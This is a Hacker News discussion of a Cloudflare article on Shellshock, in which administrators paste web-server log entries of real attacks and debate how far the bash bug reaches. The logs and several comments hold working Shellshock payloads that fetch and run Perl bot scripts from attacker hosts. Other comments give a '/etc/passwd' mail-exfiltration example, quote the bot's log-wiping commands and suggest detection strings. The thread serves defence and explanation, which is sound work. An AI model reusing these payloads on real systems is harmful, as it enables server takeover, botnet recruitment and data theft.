Inside Shellshock: How hackers are using it to exploit systems | Hacker News Reader

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

229 pointsjgrahamc93 comments

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment:

XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"

The payload is a perl script, which I posted to http://pastebin.ca/2850380

I suggest the utmost caution. I am emailing the domain owner to warn about what is being done (as the most likely is this poor chap domain was exploited, since it shows a Plesk page)

EDIT: email text (feel free to copy and paste if you see similar things in your logs)

Dear XXX,

I found your email as the contact for the domain YYYY.

I noticed just a few minutes ago that your server was being used to try and attack my server, by spreading a program designed to take control of machines vulnerable to what is called the "shellshock bug"

This malicious program has been hosted on a file publically accessible using http://XXXXX/legend.txt

I strongly recommand you get in touch with your administrator or whoever is maintaining your machine to let them know that. Just removing the file may not be enough, as your server must have been "infected" in some way for that to happen without you knowing.

Sorry to be the bearer of bad news, but I believe I should let you know ASAP, as I would certainly appreciate being warned should the situation have been reversed :-(

Sorry, Charles

EDIT2: if you want to discuss the code, https://news.ycombinator.com/item?id=8392666

"In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for just about anyone to hack together a quick script that scans for and exploits this vulnerability.

This is not to fear monger though: for 99.9% of web applications out there, the scans will not find anything vulnerable to Shellshock. Unless you're running a CGI app, you generally won't have to worry from a web app perspective even if you are vulnerable. You may have to worry if you host a Git or SVN repo, or expose a mail daemon, etc.

It's nice of you to inform the admin but unfortunately compromised servers running Plesk have been used to serve malware for many years now. You will find tens of thousands out there on the web, many probably abandoned and forgotten by their owners.

Are the bots scanning for anything besides HTTP-based Shellshock vulnerabilities?

Wow, that same machine is hitting one of my servers. Interesting.

3rd that - Exact same ip and domain.

I've also seen some in the wild, and I'm behind CloudFlare. CloudFlare have stopped the attacks reaching us now, but a few got through on the 29th September (this is a Pro account). I'm not sure precisely when the CloudFlare protection started, but all servers involved were patched as soon as the patches were available (before the first attacks reached my servers).

The log file entries:

    200.91.29.35 - - [29/Sep/2014:17:18:44 +0000] "GET /conversations/626/&amp;sa=U&amp;ei=IoYpVKPNNMPmsASpzoLwAg&amp;ved=0CJoBEBYwFzi8BQ&amp;usg=AFQjCNHTmJMWiGvhfCfRFEM_vtu6-SSafQ//cgi-bin/env.pl HTTP/1.1" 301 5 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
    200.91.29.35 - - [29/Sep/2014:17:18:45 +0000] "GET /conversations/626/%26amp%3Bsa%3DU%26amp%3Bei%3DIoYpVKPNNMPmsASpzoLwAg%26amp%3Bved%3D0CJoBEBYwFzi8BQ%26amp%3Busg%3DAFQjCNHTmJMWiGvhfCfRFEM_vtu6-SSafQ//cgi-bin/env.pl/ HTTP/1.1" 404 10779 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
    200.91.29.35 - - [29/Sep/2014:17:18:45 +0000] "GET //cgi-bin/env.pl HTTP/1.1" 301 5 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
    200.91.29.35 - - [29/Sep/2014:17:18:46 +0000] "GET /cgi-bin/env.pl/ HTTP/1.1" 404 10637 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
    200.91.29.35 - - [29/Sep/2014:17:18:46 +0000] "GET /conversations/626//cgi-bin/env.pl HTTP/1.1" 301 5 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
    200.91.29.35 - - [29/Sep/2014:17:18:47 +0000] "GET /conversations/626//cgi-bin/env.pl/ HTTP/1.1" 404 10656 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"

The pastebin of the PERL script at the other end: http://pastebin.ca/2850408

It's interesting to note that some code has been wrote from Portuguese/Brasilian devs and other parts from an Italian one, which leads to speculation that it was not a one band man but instead a group.

I figured it was just the work of script kiddies. The exploit is such an easy thing to do that people are just cobbling together scripts and having a go.

my $realname = '$uname';

They probably meant $uname or at least "$uname" :-)

I've been emailing the abuse contacts for the source ip address in the logs with the relevant log snippet. Some hosting providers are more responsive than others it has to be said - I've had no response at all from some big name hosting companies whilst others have been very quick to sort things out.

First thing I noticed was this: "Legend Bot [2011] DO NOT FUCKIN SHARE!" on the comments, does this mean they have been running this since 2011?

I hope not.

The bot does not have anything to do with shellshock by itself. The shellshock exploit is just used to download the (generic) Legend Bot in order to remotely send commands to the machine.

I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for a given vulnerable cgi script.

In this specific case, the exploit route is via the darcsweb.cgi python script which calls os.popen4() which in turn spawns /bin/sh. If /bin/sh had been bash it would have been all over for my server. This is not a cgi script in wide use (Debian popularity contest says that 22 people have installed it & registered with popcon!) yet it's still worth poking my server, which implies to me that this is an automated search of all the exploitable code they've found.

There's no security in obscurity here...

They're likely Googling stuff like: "darcsweb filetype:cgi" Or just "filetype:cgi"

Interestingly Bing is either blocking "filetype:cgi" or their filetype moniker just doesn't work very well (I am actually leaning more towards the latter after some additional testing).

Ditto with DDG, their filetype: filter just doesn't work at all.

Shodan[1] does just this. I guess script kiddies all around the world are abusing it.

[1]:http://shodanhq.com/search?q=cgi

Correct me if I'm wrong, but it seems that on Debian (7 at least) /bin/sh is a symbolic link to /bin/dash.

The issue is so wide spread because usually /bin/sh links to /bin/bash...

I don't know if Debian and Ubuntu are the only *nixes using Dash instead of Bash.

I'm not sure they are even googling for exploitable hosts. It's much easier to just enumerate IP space from a few hosts scattered around.

Long ago writing testing exploits on a Solaris machine, I'd use the payload of "/sbin/eject" because it was very simple to see if the attack succeeded. No need to look through logs; just see the cup-holder open up obediently. So the opening really took me back.

The simplicity of this one has made it entertaining to watch. It's easy to follow the storyline of probes, exploits, and patches. And everyone has bash, so we can play along at home. ;-)

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.

As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywhere near a shell.

Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities.

Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.

> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock

But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice.

> Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.

Does that really include if the environment variables aren't referenced at all? Would "popen(ls)" by itself be enough to trigger Shellshock, even if the user input is never referenced?

Yes, it will, because:

- Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value

- Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug.

So in reality only two things have to be true for this attack to be possible:

- you have a vulnerable shell on your server (unpatched bash)

- your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input.

> which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff

I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to me.

Here's an example from Wordpress:

   if (!@$mail = popen($sendmail, 'w')) {

Here's another example from Active Record:

   Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}")

This is not uncommon, and your web app probably do it if you send mail or interact with other services on the machine. There are quite a few examples in most frameworks, are you completely sure nothing you depend on calls popen?

Far safer just to update bash.

> I've never come across a popen/shell call in a web app which looked sane or secure to me.

No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid.

Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise.

Even web apps not doing 'crazy stuff' can be written by a lone web-dev who just learned PHP from a book in 21-hours. Not every web app is written by a top-tier, skilled web-dev's who's up to date on the latest best practices, with a clean design for user-input sanitization, and a team of QA folk trying to poke holes, and a dedicated security team auditing the code, deployed behind some sort of filtering proxy.

Hell, you'd think that with enough top-tier talent that bugs never happen, but even Google's been hit with a bug that exposed files from their servers; Facebook had that login security bug that they paid out for via their bug bounty program, Apple's security in the first bunch of revisions of iOS was laughable, and so on.

> You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid.

Hahahahahaha, have you ever seen the Wordpress codebase?

> Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise.

True. I'm sure there are thousands (millions?) of compromised sites out there. Heck, probably a few of the ones I wrote back in high school are compromised.

My only point is that I'm less scared by this because it doesn't affect highly secure and modern websites (ie. I don't expect Facebook to announce they're compromised by Shellshock) as shelling out from a web server really isn't considered modern and secure. Comparatively, Heartbleed was very scary because sites which were following all the best practices (including using SSL) were vulnerable.

uh huh. http://webcache.googleusercontent.com/search?q=cache:I8s8KmZ...

There may be millions of Wordpress installations, but how many run as CGI-scripts?

My guess is very close to zero. Wordpress is really slow as it is. It's also likely to be more complicated to set up compared to mod_php or FastCGI.

There may be millions of Wordpress installations, but how many run as CGI-scripts?

My guess is very close to zero. Wordpress is really slow as it is. It's also likely to be more complicated to set up compared to mod_php or FastCGI.

No, your bugs likely won't be in the direct execution of your web apps, but in their auxilliary functions such as processing received e-mail, handling print queues etc.

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.

Definitely read on.

> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:

Enter name --

First: John

Last: Smith

Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:

Enter name --

First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com

Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.

One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it.

BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.

You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell.

My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.

> You didn't address my concerns at all.

You asked a question, I provided the answer and example code to the actual question that you asked.

> My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.

Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist.

> ... and I've yet to hear a single example of why any app built in the last decade would do so.

I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment normally belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.

> You asked a question, I provided the answer and example code to the actual question that you asked.

No, you must emphatically did not.

This is the question I asked:

> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I don't think anyone would characterize CGI scripts as modern.) Your question didn't get anywhere near providing that.

I don't need a condescending explanation of why Shellshock is bad if you open a shell. I need an explanation (preferably with an example of actual code) of why somebody is actually shelling out in a modern web app.

Put another way, Shellshock could literally cause a computer to explode anytime a shell is opened from the app. This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.

> This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.

What? Evidence of your opinion? I live in reality, one not informed by opinions, and there are plenty of sites that were designed to be secure, but that didn't anticipate something like Shellshock -- many existing PHP pages, as just one example.

Setting environment variables is very common, and safe if the shell is safe, because a sound shell won't do anything with an environment variable setting action beyond setting an environment variable.

Consider a prudent design that sanitizes the entry to limit itself to an alphanumeric variable name and a value provided by the user, as in my example. The left-hand side of the assignment is not an issue because the program checks its content for malicious intent. The right-hand side is safe if Bash is safe. If Bash is safe and if rudimentary precautions are taken, any variable-assigned text string is benign.

Not so for Shellshock, which is why it caused such consternation among Website operators.

Here's an online reference that makes the same points I do, and even uses the same example of reading /etc/passwd:

https://blog.cloudflare.com/inside-shellshock/

> many existing PHP pages, as just one example.

Not really. Deploying PHP with CGI is very uncommon, as we've seen from the fallout from CVE-2012-1823 which was a much worse bug. Anything vulnerable to that has the potential of being vulnerable again, but that wasn't what you would think of as web applications: some embedded web interfaces, some really bad control panels, that sort of thing.

My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.

There are two parts to this:

The web server adds various bits of user input to an ENV variable (e.g. user agent)

Bash is vulnerable to malicious functions in any ENV variable on startup

So your reasonably designed modern web app does not need to have user input anywhere near a shell. Your web app just needs to interact with other processes on the machine with a system call (for example sending mail, calling git for a service like github), it doesn't need to actually put user input into a system call (which is an obvious no-no).

You should delete your answer. First of all, /etc/passwd files haven't contained passwords for at least 15 to 20 years now, on most systems. Second of all, the way querystring/form parameters are passed to CGI systems makes it extremely unlikely that your example would work. And third, you're all but answering the question that was asked.

It's just an example, and I chose the example precisely because it can't be used in modern times, and I explained that the example wouldn't work. Why should I offer working examples for black-hat hackers in a public forum?

It graphically shows the vulnerability produced by Shellshock, but without offering a real working example for the script kiddies to emulate.

On this Cloudflare page --

https://blog.cloudflare.com/inside-shellshock/

-- that explains the Shellshock bug, they use the same example I gave -- reading /etc/passwd. And for the same reason -- it's an example of a vulnerability, but won't give black-hats any useful information. They don't explain that this won't actually produce anything useful, but I do.

And for this I get downvoted? Terrific.

Shells are used in many obscure and surprising ways on UNIX-like systems. Not just direct CGI use. See some of my prior comments about shellshock for some of those ways.

I'm curious, has anybody reported seeing these signatures from before the bug was published?

I imagine a truly successful attack would involve clearing the logs of any footprints that we would be looking for. But worth checking anyway for those sloppy folks.

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives?

I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts of URIs containing things from my hostnames to unique IDs.

`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change.

Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.

Upon researching this, "() {" will always catch this.

If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in "() {" being obfuscated. This may not apply for attacks against things that aren't web apps, though.

Upon researching this, "() {" will always catch this.

Unless the input is decoded in some way before reaching an environment variable. E.g. HTML entities, hex escapes (percent or backslash), gzip, ... Best just to patch bash and switch to a different /bin/sh.

I should have said "will always catch this for CGI servers and HTTP headers".

Some web servers helpfully remove some sorts of white space, like newlines. '() \n{' will get past many filters, then hit some CGIs behind such servers.

I would worry similarly about some mail headers being helpfully reassembled, then handed to procmail in environment variables.

I've been tailing logs for "()" as I've seen a fair amount of () { :fake; } - () picks up some other lines, but I'd rather see everything rather than 90%

One thing they didn't mention about the base64 of example.comShellShockSalt is that as per use with Spammers finding emails that get reported on anti-spam boards, those initiating the probes can watch for reports and extract the identifier to see who said what. Why they would be interested in this sort of information, I have no clue, but it would be of use.

Some interesting results here:

8.37.217.196 - - [30/Sep/2014:14:25:48 +0000] "GET http://www.example.com/ HTTP/1.1" 200 57344 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"

93.103.21.231 - - [30/Sep/2014:20:23:00 +0000] "GET http://example.com/cgi-sys/entropysearch.cgi HTTP/1.1" 301 0 "-" "() { :;}; /usr/bin/wget http://taxiairportpop.com/s.php?s=http://example.org/cgi-sys...

Not sure what the first one is doing, but the second one seems to be an exploit in a search engine for self-hosted websites and apparently a part of cpanel (or at least deployable via it).

If I were a hacker running vulnerability scans, I would be calling myself a security organization too.

"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it? I think this could have happened before I patched & rebooted. How worried should I be?

Oh, I tried a maunal curl, "Could not resolve host: stablehost.us"

Did some searching, looks like it tries to set up a botnet. One of the things this does is install nmap; the machine doesn't have nmap on it, makes me feel better.

That /^cleanlogs/ just made me cringe. Holy crap.

Yeah, the entire script is horrifying. It's been a long time since I've seen malware source, especially targeting *nix.

I feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

systemd's journal does this:

https://lwn.net/Articles/512895/

But only every ~15 minutes or so.

> The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

Yup. It's not that hard to setup, and while running it in a VM isn't as secure as can be, it's still a step in the right direction.

As far back as the 90's, I remember the log cleaners would only clean what they touched, so say utmp, read the structure and find all the time the user logged in and remove only this records. This one is wiping everything, you will know your logs have been tampered with, you won't have any logs. lol

Yes, among other lines:

   system 'find / -name *.bash_history -exec rm -rf {} \;';
   system 'find / -name "log*" -exec rm -rf {} \;';
   system 'find / -name *.log -exec rm -rf {} \;';

Not very subtle.

> (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.)

Can anybody point me to a good explanation of ShellShock's technical details?

In bash, function definitions can be exported via environment variables; in handling that bash also executes whatever immediately follows the function definition; Apache sets environment variables (without sanitizing them for the above) based on incoming HTTP request headers which are controlled by end user clients.

Because this functionality in bash predated Apache, it could be argued that Apache ought to perform sanitization before setting env vars from user input given that bash might execute it, but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug.

Wikipedia has a good explanation at http://en.wikipedia.org/wiki/Shellshock_(software_bug)

> but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug.

From the article you linked:

> Since Bash is both a command interpreter and a command, it is possible to execute Bash from within Bash. When this happens, the original instance can export environment variables and function definitions into the new instance.[16] Function definitions are exported by encoding them within the environment variable list as variables whose values begin with parentheses ("()") followed by a function definition. The new instance of Bash, upon starting, scans its environment variable list for values in this format and converts them back into internal functions.

I had this strange feeling after reading this, that it's been long time since people worked with low-level code. It's like the difference between method dispatch in C++ and, say, Python. In the latter, it's magic, it works and you don't care. In the former, it's part of basic language knowledge to understand how virtual methods are implemented by a hack involving pointers to arrays of function pointers (aka. vtables).

> In the former, it's part of basic language knowledge to understand how virtual methods are implemented

Since when? While Hex-ray's IDA let me dig into exactly how vtables work, it's not like you even need to have heard of how vtables before you can stick the word 'virtual' in the right place for you code to do what you want.

Similarly: If you're a long-time Python programmer, and have never looked into the internals, it's a good exercise. There's a (in CPython) CALL_FUNCTION instruction that PyEval_EvalFrameEx (in Python/ceval.c) dispatches that (and, well, all) opcodes. And... and... It's not magic, yes it does work, I don't know if you care, I certainly do.

If you want to be ignorant of the lower-levels of code, Python certainly makes it easier (strings are an easy-to-use built-in language feature? madness!), but let's not pretend every programmer who has ever touched C++ has heard of vtables.

Great article. I'm surprised there were no examples of fork bombs in the DOS section, though : ) http://en.m.wikipedia.org/wiki/Fork_bomb

Not much point in killing a computer you've just unlocked for yourself. Much more profitable to use it as a spam node or launching platform for TCP/UDP/DNS DDOS attacks.

Killing the computer is an easy way to prevent other people from "using it as a spam node or launching platform". I can easily see some misguided gray hat forkbombing exploitable servers to prevent their use by blackhats. Which is why I, too, expected to see the classical bash fork bomb being used in these attacks.

The DoS using "sleep 20", however, sounds like the kind of thing some people consider "harmless fun" (like the many people using LOIC some time ago); it takes the site down, but does no permanent damage and clears itself after a while.

118.192.48.6 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 767 "http://www.baidu.com" "() { :; }; echo X-Bash-Test: `echo iOGFtdnW7o`;"

My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any popen() stuff.

Even if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead.

Good work, Debian!

Depends on which Debian version you're running:

"Up to DebianLenny, the default /bin/sh shell was bash. Starting with DebianSqueeze, the default shell will be dash (see DashAsBinSh)."

[https://wiki.debian.org/Shell]

I think the safest thing here is to update no matter what shell your system is using. There is a multitude of vectors on how to attack a vulnerable machine if it has Bash installed on it.

Debian has lots of Bash scripts in /usr/bin. Make sure you aren't indirectly using any of them. Or just patch Bash.

Yeah, that's an important point to stress:

Whether you have been vulnerable to this bug or not is important -- for the decision to wipe and reinstall.

It's not important for the decision to patch, which should be done everywhere possible.

So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?

I would guess that for (m)any breaches that have occurred so far, the owner might not have even checked for evidence nor have the thieves bragged yet. Time will tell.

My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable.

I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.

Wrong. See my post above, along with the perl script that's used. It's controlled over IRC channel #apache on chaos.legend.rocks by the "god","ARZ","Zax" users.

I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.

Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.

My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.

You're not hearing about anything major because those who have major exploits aren't about to tell the world. Successful intrusion here means what it usually means: RATing any devices possible; patching those devices themselves; infecting the network when possible; staying quiet and gathering. Machines that were vulnerable and later fixed now should be considered with the same weight as having been rooted. They should be fully overhauled. That means new drives, even. Of course, we all know that'll never happen. The overwhelming majority of people and companies handle data recklessly.

It's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web.

However, CGI isn't common these days. I don't know any large sites still using it.

So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web interfaces that could be vulnerable. It's not clear what the effect of that will be.

Also a fair amount of internal stuff - issue trackers, online expense forms, whatever else.

This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism.

It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.

Some FastCGI frameworks helpfully set up environment variables in the web app---you know, just in case you run a sub-process and want it to work the same way it would have from a CGI.

See Per-Request Environment Variables at http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intr...

These aren't ubiquitous---but it also isn't just CGI programs that expose this vulnerability.

Is anyone seeing any interesting payloads with this? Most of what I've seen are perl script CnC bots, with no actual binaries. The closest I've seen is a binary payload which was just for CnC with some hardcoded c2 IPs from China.

